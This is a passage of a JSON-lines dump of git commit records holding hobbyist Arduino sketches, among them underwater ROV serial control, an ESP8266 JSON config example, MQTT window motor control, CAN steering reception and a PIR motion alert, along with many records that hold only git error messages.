starbordVal = MIDPOINT, verticalVal = MIDPOINT;\n String servoVal = \"\";\n int nextPort = 0;\n String temp;\n \n for (int i = 0; i < cmd.length(); i++){\n temp = (char*)cmd[i];\n if (temp != \",\"){ servoVal += temp; }\n else if (nextPort == 0) { portVal = atoi(&servoVal[0]); nextPort++; servoVal = \"\"; }\n else if (nextPort == 1) { starbordVal = atoi(&servoVal[0]); nextPort++; servoVal = \"\"; }\n }\n verticalVal = atoi(&servoVal[0]);\n \n port.write(portVal);\n vertical.write(verticalVal);\n starbord.write(starbordVal);\n\n }\n else {port.write(MIDPOINT); vertical.write(MIDPOINT); starbord.write(MIDPOINT); } \/\/ stop\n \n \/\/Serial.println(cmd);\n }\n \n \/\/ ========================================================================================\n \/\/ ========================================================================================\n \/\/ Write commands to OpenROV\n \/\/ ========================================================================================\n \/\/ ========================================================================================\n \n \/\/ TODO: make these actually do something, just testing for now\n \/\/ once every 1,300 counts\n if (count % 1300 == 0){\n rov_analog_output(1, \"float\");\n }\n \/\/ once every 10,000 counts\n if (count == 10000){\n rov_analog_output(0, \"salinity\");\n count = 0; \/\/ reset counter (this should be done by the longest \"running\" counter\n }\n count++;\n}\n\n\/\/ Actually create and send command\n\/\/ Example: rov_analog_output(0, \"salinity\");\n\/\/ outputs: salinity:124;\nvoid rov_analog_output(int pin, String cmd){\n cmd += \":\"; \/\/ separates command and value\n char cmd_output[50];\n cmd.toCharArray(cmd_output, 50);\n int pin_read = analogRead(pin);\n String pin_read_str = String(pin_read);\n char out[5];\n pin_read_str.toCharArray(out, 5);\n \n Serial.write(cmd_output);\n Serial.write(out);\n Serial.write(\";\"); \/\/ command delimiter\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"8ada9c9add04c5095a100147372537472b77eb5f","subject":"Add example for storing JSON config file in SPIFFS","message":"Add example for storing JSON config file in SPIFFS\n","repos":"koltegirish\/Arduino,wdoganowski\/Arduino,radut\/Arduino,mateuszdw\/Arduino,ogahara\/Arduino,radut\/Arduino,koltegirish\/Arduino,gonium\/Arduino,leftbrainstrain\/Arduino-ESP8266,eeijcea\/Arduino-1,ssvs111\/Arduino,paulo-raca\/ESP8266-Arduino,drpjk\/Arduino,tannewt\/Arduino,aichi\/Arduino-2,ssvs111\/Arduino,mangelajo\/Arduino,mateuszdw\/Arduino,ssvs111\/Arduino,mateuszdw\/Arduino,wdoganowski\/Arduino,tannewt\/Arduino,noahchense\/Arduino-1,eeijcea\/Arduino-1,drpjk\/Arduino,paulmand3l\/Arduino,ogahara\/Arduino,gonium\/Arduino,smily77\/Arduino,sanyaade-iot\/Arduino-1,paulo-raca\/ESP8266-Arduino,weera00\/Arduino,weera00\/Arduino,wdoganowski\/Arduino,EmuxEvans\/Arduino,mangelajo\/Arduino,gonium\/Arduino,spapadim\/Arduino,zenmanenergy\/Arduino,spapadim\/Arduino,gonium\/Arduino,gonium\/Arduino,EmuxEvans\/Arduino,noahchense\/Arduino-1,noahchense\/Arduino-1,weera00\/Arduino,mangelajo\/Arduino,koltegirish\/Arduino,zenmanenergy\/Arduino,leftbrainstrain\/Arduino-ESP8266,sanyaade-iot\/Arduino-1,noahchense\/Arduino-1,noahchense\/Arduino-1,EmuxEvans\/Arduino,sanyaade-iot\/Arduino-1,zenmanenergy\/Arduino,radut\/Arduino,zenmanenergy\/Arduino,paulmand3l\/Arduino,noahchense\/Arduino-1,weera00\/Arduino,koltegirish\/Arduino,drpjk\/Arduino,radut\/Arduino,smily77\/Arduino,myrtleTree33\/Arduino,myrtleTree33\/Arduino,paulo-raca\/ESP8266-Arduino,jomolinare\/Arduino,aichi\/Arduino-2,aichi\/Arduino-2,mangelajo\/Arduino,sanyaade-iot\/Arduino-1,wdoganowski\/Arduino,jomolinare\/Arduino,wdoganowski\/Arduino,wdoganowski\/Arduino,leftbrainstrain\/Arduino-ESP8266,EmuxEvans\/Arduino,EmuxEvans\/Arduino,weera00\/Arduino,smily77\/Arduino,mangelajo\/Arduino,mateuszdw\/Arduino,tannewt\/Arduino,drpjk\/Arduino,mangelajo\/Arduino,mateuszdw\/Arduino,leftbrainstrain\/Arduino-ESP8266,paulo-raca\/ESP8266-Arduino,spapadim\/Arduino,eeijcea\/Arduino-1,paulmand3l\/Arduino,ogahara\/Arduino,koltegirish\/Arduino,smily77\/Arduino,mateuszdw\/Arduino,radut\/Arduino,aichi\/Arduino-2,radut\/Arduino,myrtleTree33\/Arduino,paulo-raca\/ESP8266-Arduino,sanyaade-iot\/Arduino-1,weera00\/Arduino,ssvs111\/Arduino,smily77\/Arduino,spapadim\/Arduino,drpjk\/Arduino,smily77\/Arduino,smily77\/Arduino,mateuszdw\/Arduino,myrtleTree33\/Arduino,leftbrainstrain\/Arduino-ESP8266,ogahara\/Arduino,koltegirish\/Arduino,myrtleTree33\/Arduino,EmuxEvans\/Arduino,jomolinare\/Arduino,aichi\/Arduino-2,jomolinare\/Arduino,tannewt\/Arduino,sanyaade-iot\/Arduino-1,jomolinare\/Arduino,spapadim\/Arduino,ogahara\/Arduino,drpjk\/Arduino,mangelajo\/Arduino,EmuxEvans\/Arduino,leftbrainstrain\/Arduino-ESP8266,ssvs111\/Arduino,tannewt\/Arduino,weera00\/Arduino,paulmand3l\/Arduino,zenmanenergy\/Arduino,ogahara\/Arduino,tannewt\/Arduino,gonium\/Arduino,radut\/Arduino,koltegirish\/Arduino,zenmanenergy\/Arduino,eeijcea\/Arduino-1,paulmand3l\/Arduino,paulmand3l\/Arduino,paulo-raca\/ESP8266-Arduino,tannewt\/Arduino,drpjk\/Arduino,aichi\/Arduino-2,spapadim\/Arduino,gonium\/Arduino,ssvs111\/Arduino,jomolinare\/Arduino,eeijcea\/Arduino-1,ssvs111\/Arduino,eeijcea\/Arduino-1,myrtleTree33\/Arduino,aichi\/Arduino-2,spapadim\/Arduino,leftbrainstrain\/Arduino-ESP8266,eeijcea\/Arduino-1,myrtleTree33\/Arduino,sanyaade-iot\/Arduino-1,jomolinare\/Arduino,zenmanenergy\/Arduino,wdoganowski\/Arduino,noahchense\/Arduino-1,ogahara\/Arduino,paulo-raca\/ESP8266-Arduino,paulmand3l\/Arduino","old_file":"hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/ConfigFile\/ConfigFile.ino","new_file":"hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/ConfigFile\/ConfigFile.ino","new_contents":"\/\/ Example: storing JSON configuration file in flash file system\n\/\/\n\/\/ Uses ArduinoJson library by Benoit Blanchon.\n\/\/ https:\/\/github.com\/bblanchon\/ArduinoJson\n\/\/\n\/\/ Created Aug 10, 2015 by Ivan Grokhotkov.\n\/\/\n\/\/ This example code is in the public domain.\n\n#include <ArduinoJson.h>\n#include \"FS.h\"\n\nbool loadConfig() {\n File configFile = SPIFFS.open(\"\/config.json\", \"r\");\n if (!configFile) {\n Serial.println(\"Failed to open config file\");\n return false;\n }\n\n size_t size = configFile.size();\n if (size > 1024) {\n Serial.println(\"Config file size is too large\");\n return false;\n }\n\n \/\/ Allocate a buffer to store contents of the file.\n std::unique_ptr<char[]> buf(new char[size]);\n\n \/\/ We don't use String here because ArduinoJson library requires the input\n \/\/ buffer to be mutable. If you don't use ArduinoJson, you may as well\n \/\/ use configFile.readString instead.\n configFile.readBytes(buf.get(), size);\n\n StaticJsonBuffer<200> jsonBuffer;\n JsonObject& json = jsonBuffer.parseObject(buf.get());\n\n if (!json.success()) {\n Serial.println(\"Failed to parse config file\");\n return false;\n }\n\n const char* serverName = json[\"serverName\"];\n const char* accessToken = json[\"accessToken\"];\n\n \/\/ Real world application would store these values in some variables for\n \/\/ later use.\n\n Serial.print(\"Loaded serverName: \");\n Serial.println(serverName);\n Serial.print(\"Loaded accessToken: \");\n Serial.println(accessToken);\n return true;\n}\n\nbool saveConfig() {\n StaticJsonBuffer<200> jsonBuffer;\n JsonObject& json = jsonBuffer.createObject();\n json[\"serverName\"] = \"api.example.com\";\n json[\"accessToken\"] = \"128du9as8du12eoue8da98h123ueh9h98\";\n\n File configFile = SPIFFS.open(\"\/config.json\", \"w\");\n if (!configFile) {\n Serial.println(\"Failed to open config file for writing\");\n return false;\n }\n\n json.printTo(configFile);\n return true;\n}\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println(\"\");\n delay(1000);\n Serial.println(\"Mounting FS...\");\n\n if (!SPIFFS.begin()) {\n Serial.println(\"Failed to mount file system\");\n return;\n }\n\n\n if (!saveConfig()) {\n Serial.println(\"Failed to save config\");\n } else {\n Serial.println(\"Config saved\");\n }\n\n if (!loadConfig()) {\n Serial.println(\"Failed to load config\");\n } else {\n Serial.println(\"Config loaded\");\n }\n}\n\nvoid loop() {\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/ConfigFile\/ConfigFile.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"9818115607fc2518238060cbf7daa99f6258743b","subject":"to command motors for windows or shutter","message":"to command motors for windows or shutter\n","repos":"CrazyFraug\/ArtiCryptOpenHab,CrazyFraug\/ArtiCryptOpenHab,CrazyFraug\/ArtiCryptOpenHab,CrazyFraug\/ArtiCryptOpenHab,CrazyFraug\/ArtiCryptOpenHab","old_file":"Python_MQTT2Arduino\/arduinoWindow1\/arduinoWindow1.ino","new_file":"Python_MQTT2Arduino\/arduinoWindow1\/arduinoWindow1.ino","new_contents":"#define LOG_DEBUG(str) Serial.println(str)\n#define LOG_ERROR(str) Serial.println(str)\n\n#include \"msgFromMQTT.h\"\nString sketchFullName = __FILE__;\n\n\n#define PIN_MOT_A 3\n#define PIN_MOT_B 5\n#define PIN_MOT_C 6\n#define PIN_MOT_D 9\nstListPin listPin[] = {\n stListPin(PIN_MOT_A, \"moteur1\"),\n stListPin(PIN_MOT_B, \"moteur2\"),\n stListPin(PIN_MOT_C, \"moteur3\"),\n stListPin(PIN_MOT_D, \"moteur4\")\n};\nint listPinSize = sizeof(listPin) \/ sizeof(stListPin);\n\n\n\/\/ list of available commands (user) that the arduino will accept\nint switchMoteur1(const String& dumb);\nint switchMoteur2(const String& dumb);\nint switchMoteur3(const String& dumb);\nint switchMoteur4(const String& dumb);\nint settingMoteurs(const String& dumb);\n\n\/\/ list of available commandes (system ctrl) that the arduino will accept\n\/\/ example: int sendSketchId(const String& dumb);\n\n\/\/ list of available commands (user) that the arduino will accept\nCommande cmdos[] = {\n Commande(\"moteur1\/switch\", &switchMoteur1),\n Commande(\"moteur2\/switch\", &switchMoteur2),\n Commande(\"moteur3\/switch\", &switchMoteur3),\n Commande(\"moteur4\/switch\", &switchMoteur4),\n Commande(\"moteur\/setting\", &settingMoteurs)\n};\nint cmdosSize = sizeof(cmdos) \/ sizeof(Commande);\n\n\/\/ list of available commands (system ctrl) that the arduino will accept\nCommande cmds[] = {\n Commande(\"idSketch\", &sendSketchId),\n Commande(\"idBuild\", &sendSketchBuild),\n Commande(\"listCmdAT\", &sendListCmdAT),\n Commande(\"listCmdDO\", &sendListCmdDO),\n Commande(\"listPin\", &sendListPin),\n Commande(\"pinMode\", &cmdPinMode),\n Commande(\"pinRead\", &cmdPinRead),\n Commande(\"pinWrite\", &cmdPinWrite)\n};\nint cmdsSize = sizeof(cmds) \/ sizeof(Commande);\n\n\nint switchMoteurAny(const String& sOnOff, const int numMoteur);\n\nstruct Moteur {\n int stateUpDown; \/\/ 1 \/ -1\n int actionUpDownNone; \/\/ 1 \/ 0 \/ -1\n long timeEndAction;\n int valStill;\n int valUp;\n int valDown;\n int periodUp;\n int periodDown;\n int pin;\n void up();\n void down();\n Moteur (int vs, int peru, int perd): stateUpDown(-1), actionUpDownNone(0),\n timeEndAction(0), valStill(vs), valUp(vs+20), valDown(vs-20),\n periodUp(peru), periodDown(perd) {}\n};\n\nvoid moteurCheck();\n\nMoteur moteurs[] = {\n Moteur(100, 1000, 1000),\n Moteur(100, 1000, 1000),\n Moteur(100, 1000, 1000),\n Moteur(100, 1000, 1000),\n Moteur(100, 1000, 1000),\n Moteur(100, 1000, 1000),\n Moteur(100, 1000, 1000),\n Moteur(100, 1000, 1000)\n};\nconst int NBMOT = sizeof(moteurs) \/ sizeof(Moteur);\n\n\/*---------------------------------------------------------------*\/\n\/* setup and loop function *\/\n\/*---------------------------------------------------------------*\/\n\nvoid setup()\n{\n for (int i=0; i<NBMOT; i++)\n pinMode(moteurs[i].pin, OUTPUT);\n \n Serial.begin(9600);\n inputMessage.reserve(200);\n \n \/\/ I send identification of sketch\n sendSketchId(\"\");\n sendSketchBuild(\"\");\n sendListPin(\"\");\n}\n \nvoid loop()\n{\n checkMessageReceived();\n\n \/\/ because of bad communication, some message may be stucked in\n \/\/ serial buffer. If so, we trace it\n checkNoStuckMessageInBuffer();\n\n \/\/ blink Led. blink time is set with external cmd ledBlinkTime\n \/\/blinkLed();\n\n \/\/ check and update the movement of moteurs\n moteurCheck();\n \n \/\/ I slow down Arduino\n delay(10);\n}\n\n\nvoid serialEvent() \n{\n serialEventMFMQTT();\n}\n\n\/*---------------------------------------------------------------*\/\n\/* list of user function *\/\n\/*---------------------------------------------------------------*\/\n\nvoid moteurCheck() \n{\n long now = millis();\n for (int im=0; im<NBMOT; im++)\n {\n \/\/ update action\n if (now > moteurs[im].timeEndAction) {\n \/\/ I update position state\n if (moteurs[im].actionUpDownNone == -1) \/\/ down\n moteurs[im].stateUpDown = -1;\n else if (moteurs[im].actionUpDownNone == 1) \/\/ up\n moteurs[im].stateUpDown = 1;\n \n moteurs[im].actionUpDownNone = 0; \/\/ no action\n }\n\n \/\/ I send value corresponding to action\n if (moteurs[im].actionUpDownNone == -1) \/\/ DOWN\n analogWrite(moteurs[im].pin, moteurs[im].valDown);\n else if (moteurs[im].actionUpDownNone == 1) \/\/ UP\n analogWrite(moteurs[im].pin, moteurs[im].valUp);\n else \/\/ actionUpDownNone == nothing\n analogWrite(moteurs[im].pin, moteurs[im].valStill);\n }\n}\n\n\/\/ switch the roller shutter ( or window ) up or down\n\/\/ this function is common to anyone\nint switchMoteurAny(const String& sOnOff, const int numMoteur)\n{\n \/\/ sOnOff contains cmd and value with this format cmd:value\n \/\/ value must exist\n int ind = sOnOff.indexOf(\":\");\n if (ind < 0) {\n LOG_ERROR(F(\"switchMoteur cmd needs 1 value\"));\n String msg2py = msg2pyStart + sOnOff + \"\/KO\" + msg2pyEnd;\n Serial.print(msg2py);\n return 1;\n }\n \n \/\/ we get cmd part\n String command = sOnOff.substring(0, ind);\n \/\/ we get value part\n String sValue = sOnOff.substring(ind+1);\n \/\/ value must be UP or DOWN\n if ( ( ! sValue.equals(\"UP\")) && ( ! sValue.equals(\"DOWN\")) ) {\n LOG_ERROR(command+ F(\": value must be UP or DOWN\"));\n String msg2py = msg2pyStart + command + F(\"\/KO\") + msg2pyEnd;\n Serial.print(msg2py);\n return 2;\n }\n\n \/\/ commands motors\n if (sValue.equals(\"UP\"))\n moteurs[numMoteur].up();\n else if (sValue.equals(\"DOWN\"))\n moteurs[numMoteur].down();\n else\n Serial.println (\"jamais de la vie\");\n \n \/\/ I send back OK msg\n String msg2py = msg2mqttStart + command + F(\"\/OK:\") + sValue + msg2pyEnd;\n Serial.print(msg2py);\n \/\/ I send back state msg\n msg2py = msg2mqttStart + F(\"moteur\")+numMoteur+F(\"\/etat:\") + sValue + msg2pyEnd;\n Serial.print(msg2py);\n \n return 0;\n}\n\n\/\/ switch the moteur up or down\nint switchMoteur1(const String& sOnOff)\n{\n return switchMoteurAny(sOnOff, 1);\n}\n\nint switchMoteur2(const String& sOnOff) { return switchMoteurAny(sOnOff, 2); }\nint switchMoteur3(const String& sOnOff) { return switchMoteurAny(sOnOff, 3); }\nint switchMoteur4(const String& sOnOff) { return switchMoteurAny(sOnOff, 4); }\nint switchMoteur5(const String& sOnOff) { return switchMoteurAny(sOnOff, 5); }\nint switchMoteur6(const String& sOnOff) { return switchMoteurAny(sOnOff, 6); }\nint switchMoteur7(const String& sOnOff) { return switchMoteurAny(sOnOff, 7); }\nint switchMoteur8(const String& sOnOff) { return switchMoteurAny(sOnOff, 8); }\n\n\n\/\/ set value for moteurs\nint settingMoteurs(const String& aCmdVal)\n{\n \/\/ input arg contains cmd and value with this format cmd:value\n \/\/ value must exist\n int ind = aCmdVal.indexOf(\":\");\n if (ind < 0) {\n LOG_ERROR(F(\"moteurSetting cmd needs 4 values: mot:still:perup:perdown\"));\n String msg2py = msg2pyStart + aCmdVal + \"\/KO\" + msg2pyEnd;\n Serial.print(msg2py);\n return 1;\n }\n \n \/\/ we get cmd part\n String command = aCmdVal.substring(0, ind);\n \/\/ we get value part\n String sValue = aCmdVal.substring(ind+1);\n for (int i=0; i<4; i++) {\n \/\/ value must be an int\n int iValue1 = sValue.toInt();\n \/\/ toInt will return 0, if it is not an int\n if ( (iValue1 == 0) && ( ! sValue.equals(\"0\")) ) {\n LOG_ERROR(command+ F(\": value mot 1 must be integer\"));\n String msg2py = msg2pyStart + command + F(\"\/KO\") + msg2pyEnd;\n Serial.print(msg2py);\n return 2;\n }\n else if ((iValue1 < 0) || (100 < iValue1)) {\n LOG_ERROR(command+ F(\": value 1 must be between 0 and 100\"));\n String msg2py = msg2pyStart + command + F(\"\/KO\") + msg2pyEnd;\n Serial.print(msg2py);\n return 3;\n }\n }\n\n \/\/ converts iValue1 0\/100 to iValue PWM 0\/255\n int iValue = int(iValue1 * 2.55);\n \n analogWrite(PIN_MOT_A, iValue);\n \n \/\/ I send back OK msg\n String msg2py = msg2mqttStart + command + F(\"\/OK:\") + sValue + msg2pyEnd;\n Serial.print(msg2py);\n \/\/ I send back state msg\n msg2py = msg2mqttStart + F(\"lumiere\/etat:\") + sValue + msg2pyEnd;\n Serial.print(msg2py);\n \n return 0;\n}\n\n\/\/ trigger action upward\nvoid Moteur::up() {\n \/\/ we return immediately if it was already UP (for fear of echo)\n if (actionUpDownNone == 1)\n return;\n \n actionUpDownNone = 1;\n \/\/ the first time, it sets time of end\n timeEndAction = millis() + periodUp;\n}\n\/\/ trigger action downward\nvoid Moteur::down() {\n \/\/ we return immediately if it was already UP (for fear of echo)\n if (actionUpDownNone == -1)\n return;\n \n actionUpDownNone = -1;\n \/\/ the first time, it sets time of end\n timeEndAction = millis() + periodDown;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Python_MQTT2Arduino\/arduinoWindow1\/arduinoWindow1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c3d0ccac10984961028337b9dadff9f4b0f72762","subject":"Add: add steering receive using CAN.","message":"Add: add steering receive using CAN.\n","repos":"hdh7485\/AVEES_scale_car,hdh7485\/AVEES_scale_car,hdh7485\/AVEES_scale_car","old_file":"arduino\/receive_steering_CAN\/receive_steering_CAN.ino","new_file":"arduino\/receive_steering_CAN\/receive_steering_CAN.ino","new_contents":"\/\/ demo: CAN-BUS Shield, receive data with check mode\n\/\/ send data coming to fast, such as less than 10ms, you can use this way\n\/\/ loovee, 2014-6-13\n\n\n#include <SPI.h>\n#include \"mcp_can.h\"\n\n\n\/\/ the cs pin of the version after v1.1 is default to D9\n\/\/ v0.9b and v1.0 is default D10\nconst int SPI_CS_PIN = 9;\n\nMCP_CAN CAN(SPI_CS_PIN); \/\/ Set CS pin\n\nvoid setup()\n{\n Serial.begin(115200);\n\n while (CAN_OK != CAN.begin(CAN_500KBPS)) \/\/ init can bus : baudrate = 500k\n {\n Serial.println(\"CAN BUS Shield init fail\");\n Serial.println(\" Init CAN BUS Shield again\");\n delay(100);\n }\n Serial.println(\"CAN BUS Shield init ok!\");\n}\n\n\nvoid loop()\n{\n unsigned char len = 0;\n unsigned char buf[5];\n unsigned char first_byte = 0x0000;\n unsigned char second_byte = 0x0000;\n \n int steer_angle = 0x0000;\n\n if(CAN_MSGAVAIL == CAN.checkReceive()) \/\/ check if data coming\n {\n CAN.readMsgBuf(&len, buf); \/\/ read data, len: data length, buf: data buf\n\n unsigned int canId = CAN.getCanId();\n \n Serial.println(\"-----------------------------\");\n Serial.print(\"Get data from ID: \");\n Serial.println(canId, HEX);\n\n for(int i = 0; i<len; i++) \/\/ print the data\n {\n Serial.print(buf[i], HEX);\n Serial.print(\"\\t\");\n }\n first_byte = buf[1];\n second_byte = buf[0];\n \n steer_angle = (first_byte << 8) | second_byte;\n Serial.print(\"angle_hex = \");\n Serial.print(steer_angle, HEX);\n Serial.print(\" angle = \");\n Serial.println(steer_angle, DEC);\n \n Serial.println();\n }\n}\n\n\/*********************************************************************************************************\n END FILE\n*********************************************************************************************************\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/receive_steering_CAN\/receive_steering_CAN.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"42d03f567efd8d9778ee017607aec6b1fda34ae5","subject":"Added example for debug print.","message":"Added example for debug print.\n","repos":"yaneexy\/Spark-Core-Examples,yaneexy\/Spark-Core-Examples","old_file":"2.Debug print.ino","new_file":"2.Debug print.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec '2.Debug' did not match any file(s) known to git\nerror: pathspec 'print.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1cca990753098165e79f70d093b4501e6b59529e","subject":"Testing Feedback Hack on Servos","message":"Testing Feedback Hack on Servos\n\nDOES NOT WORK\nIf servo is mechanically stalled, the potentiometer still reads as\nanticipated\n","repos":"Darren-Mc\/Arduino,Darren-Mc\/Arduino","old_file":"ServoFeedback\/ServoFeedback.ino","new_file":"ServoFeedback\/ServoFeedback.ino","new_contents":"\/* Sweep\n by BARRAGAN <http:\/\/barraganstudio.com> \n This example code is in the public domain.\n\n modified 8 Nov 2013\n by Scott Fitzgerald\n http:\/\/arduino.cc\/en\/Tutorial\/Sweep\n*\/ \n\n#include <Servo.h> \n#include <Filter.h>\n \nServo myservo; \/\/ create servo object to control a servo \n \/\/ twelve servo objects can be created on most boards\n \nint pos = 0; \/\/ variable to store the servo position \nint dpos = 1;\nlong int count = 0;\nunsigned long prev = 0;\n\nFilter<uint16_t> w(100);\n \nvoid setup() \n{ \n Serial.begin(9600);\n myservo.attach(9); \/\/ attaches the servo on pin 9 to the servo object \n} \n \nvoid loop() \n{ \n unsigned long ms = millis();\n w.push(analogRead(A0));\n count++;\n if ( ms - prev > 15 )\n {\n Serial.print(pos);\n Serial.print('\\t');\n Serial.println(w.mean());\n if(pos == 0) dpos = 1;\n else if (pos == 180) dpos = -1;\n pos = pos+dpos;\n prev = millis();\n myservo.write(pos);\n count = 0;\n }\n} \n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ServoFeedback\/ServoFeedback.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0ba81fa6fd49202499defe50efacbe26c1314644","subject":"Create possible2.ino","message":"Create possible2.ino","repos":"hpssjellis\/spark-core-socket-client-or-server","old_file":"spark-as-client\/possible2.ino","new_file":"spark-as-client\/possible2.ino","new_contents":"#include <string.h>\nchar server[] = \"bstolte.com\";\nTCPClient client;\n \nint ledPin = D5; \/\/ choose the pin for the LED\nint inputPin = D7; \/\/ choose the input pin (for PIR sensor)\nint pirState = LOW; \/\/ we start, assuming no motion detected\nint val = 0; \/\/ variable for reading the pin status\nint count; \/\/ print out to serial the number of times it's going through the loop\n \n \nint getrequest();\n \nvoid setup() {\n pinMode(ledPin, OUTPUT); \/\/ set up the LED as an output, it will light up if motion is detected\n pinMode(inputPin, INPUT); \/\/ read the input from the PIR sensor\n Spark.variable(\"inputPin\", &inputPin, INT); \/\/ Register the Spark variable for use with the API\n \n Serial.begin(9600);\n delay(1000);\n Serial.println(\"connecting...\");\n}\n \n \nvoid loop() {\n \n val = digitalRead(inputPin); \/\/ read the value from the PIR sensor\n if (val == HIGH) { \n digitalWrite (ledPin, HIGH); \/\/Turn on the LED \n delay(300); \/\/ wait for 300ms\n getrequest(); \/\/send to server\n \n if (pirState == LOW) { \/\/ we have turned on so let's let the serial monitor know\n Serial.println(\"Motion detected!\");\n pirState = HIGH; \/\/ set it to high\n }\n }\n else {\n digitalWrite (ledPin, LOW); \/\/ turn the LED off\n delay(300); \/\/ wait again for 300ms \n if (pirState == HIGH) { \/\/ we have just turned off\n Serial.println(\"Motion ended!\");\n pirState = LOW;\n count = 0; \/\/ reset the counter\n }\n }\n \n \n \n}\n \nint getrequest(){\n client.connect(server, 80);\n \n if (client.connected()) {\n Serial.println(\"Connected\");\n client.println(\"GET \/motion_sms\/sendsms\/4154256133\/home-alert HTTP\/1.0\");\n client.print(\"Host: \");\n client.println(server);\n client.println(\"Connection: close\"); \/\/just added\n client.println();\n client.flush();\n client.stop();\n return 1;\n }\n else {\n client.flush();\n client.stop();\n Serial.println(\"Not connected\");\n return 0;\n } \n}\n \n \n \/*\nif (client.available()) {\nclient.flush();\n}\n*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'spark-as-client\/possible2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"52682ac6104a3993f7465a7474610a939068e4cd","subject":"Created sonar_distance.ino to get distance using sonar sensor","message":"Created sonar_distance.ino to get distance using sonar sensor\n","repos":"huskyroboticsteam\/2014-15,lolisa\/2014-15,lolisa\/2014-15,huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15,lolisa\/2014-15","old_file":"Arduino Examples\/sonar_distance\/sonar_distance.ino","new_file":"Arduino Examples\/sonar_distance\/sonar_distance.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lolisa\/2014-15.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"9694df997d644d7d886ab74f648a64959ee185f1","subject":"Update Templete.ino","message":"Update Templete.ino","repos":"SirenCreatorTeam\/Siren_Zwei","old_file":"Arduino\/Templete\/Templete.ino","new_file":"Arduino\/Templete\/Templete.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/SirenCreatorTeam\/Siren_Zwei.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"549934e83deeef7195b103a649dafcac0b758756","subject":"Nightly","message":"Nightly\n\n","repos":"rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects","old_file":"learning\/ESP8266\/remote-display\/remote-display.ino","new_file":"learning\/ESP8266\/remote-display\/remote-display.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rniemand\/ArduinoProjects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fe65b87757804fb64cb3af89d4fead12e62ff6b3","subject":"pulse counting code","message":"pulse counting code\n\nHere's the code I have so far. It counts the pulses for a 10 second\nperiod, and then computes the number of pulses per minute.\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/stuff\/stuff.ino","new_file":"arduino\/stuff\/stuff.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e1bd6d8acaa4691eb1a38abf77ea912ce323f4ee","subject":"Refactor sha1 calculation\/comparison","message":"Refactor sha1 calculation\/comparison\n\nSigned-off-by: Edi Permadi <163b49ac0c44ca5b49677bf42f3f8680b3bd9867@gmail.com>\n","repos":"edipermadi\/teensy-hsm,edipermadi\/teensy-hsm","old_file":"teensy-hsm\/keystore.ino","new_file":"teensy-hsm\/keystore.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/edipermadi\/teensy-hsm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"99df925f30e4e60a0a3830850e1311ed8c45f06f","subject":"initial add, use this for EthernetServer verification","message":"initial add, use this for EthernetServer 